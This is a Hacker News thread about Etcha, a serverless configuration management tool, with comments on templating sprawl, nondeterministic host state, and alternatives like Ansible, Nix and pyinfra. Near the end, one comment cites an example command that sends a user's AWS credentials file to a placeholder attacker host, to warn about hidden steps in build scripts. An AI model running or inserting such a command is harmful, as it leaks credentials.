Show HN: Etcha – Infinite scale, serverless config management (etcha.dev)

Yes, I don't doubt you'll have customers. From the docs, I just don't see a compelling advantage Etcha has over existing tools that justifies the cost.

Did you consider having an open beta? It might allow the ecosystem to develop while still enabling you to charge for the product later down the line.

At my last job at a bank you most likely know of, getting any kind of product is a multi-month painful bureaucratic process. So engineers tend to live off the land with the stuff they can get for free, despite funds not being an issue.

Check out ansible-pull, which is installed by default with Ansible.

Re embedding, just to take one snippet from an example on your site:

    {
      always: true,
      change: 'echo %s > /work/helloworld' % n.getEnv('HOSTNAME'),
      id: 'write a file',
      onChange: [
        'read file',
      ],
    }

This may be quite clear in its simplicity, and particularly to those familiar with etcha/jsonnet. However, what invariably happens is that you start seeing things like vars embedded in templates, embedded in the config mgmt implementation language, embedded in strings. The source of the values becomes incredibly difficult to reason about and to make changes against; does the value come from the target host's env, from the runner's env, from the packaging step's env, from a network request made by one of these stages (eg to a secret server), etc.

Take a look at an example of what, IMO, is an absolutely horrid helm chart that Gitlab ships for installing their CI/CD runner: https://gitlab.com/gitlab-org/charts/gitlab-runner/-/blob/ma...

Bash code, in yaml, in golang template. Besides even the most advanced IDEs failing to grok such a freak of technical nature, there's no way I would believe any dev that told me they understand what the state of their system will be given some input to this morass.

In a recent position I was asked to try and make an existing nomad installation viable in a pretty standard corporate environment (not some special operational space e.g. cloudflare), and it was even worse; some configuration expansion was 5 layers deep, with 3 different templating engines, once consul templates were involved in generating an app's config, and the nomad config being env-generalized through generation by a higher-level helm-like tooling.

Re state bag:

I'm glad you mentioned nix, as I think it, and to a looser extent containers, really approach the issue in the only humanly-tenable fashion (again IMO): starting mutation from a known state. In a lot of cases that state is "nothing" as it's the simplest known state not only to position the beginning of some configuration flow at, but also the most straight-forward from which to deterministically derive a desired end state from.

I definitely applaud having tests as a core component of your system, the problem is that you can not derive determinism from nondeterminism even with the best tests.

Because you are operating over a nondeterministic bag of state, you can never guarantee that your tests provide a representation of a transfrom from any potential state to the desired end state, only for some particular input state (or set) which may or may not representative of what is found on the actual targets.

That looks great!

I'm trying to do a similar thing but I'd like to be compatible with the existing Ansible tasks. Still trying to figure out the API, especially for cases like calling a playbook from playbook with some parameters.

    block:
      tasks:
        - copy:
          [args here]
        - command:
          [more args here]
      loop:
        - vars:
          basename: XXX
        - vars:
          basename YYY

    - if:
      condition: "x < 1"
      tasks:
        - copy:
          [args here]
    - elif:
      condition: "x >= 1 and x < 10"
      tasks:
        [tasks here]
    - else:
      tasks:
        [more tasks here]

This is essentially Chef

Love that you're playing in the space! The more people that experiment with approaches, the more we'll see what does and doesn't work.

Couldn't agree more with how painful "coding" in ansible is, my SOP with it is usually just to write a python module to model the flow I'm interested in the moment I find myself trying to implement logic at the yaml layer. The module API isn't horrible, I prefer it quite a bit over puppet's extensibility constructs.

However, the nondeterministic bag-of-state issue will still be impossible to overcome with this strategy. Not to say that making a better ansible isn't valuable for configuration of legacy workloads in legacy runtime environments, only that it's a space that I'm personally putting a lot of energy into never interacting with again if I can help it.

Why not saltstack?

I don't know if you've considered it, but I would really value Starlark over "general purpose" python because my grave complaint about unlimited computation things for build systems (gradle, sbt :eyes:), or in this case a config management tool, is that they become real hard to reason about from one developer's machine to another, and/or make the hairs stand up for paranoid folks who really would prefer there not be a $(curl -d @$HOME/.aws/credentials evil.example) hiding in a random build script

It also prevents newbies from mistakenly doing os.chdir when they really wanted fs.cd() as in your example playbook

Have you seen pyinfra? Looks similar to me.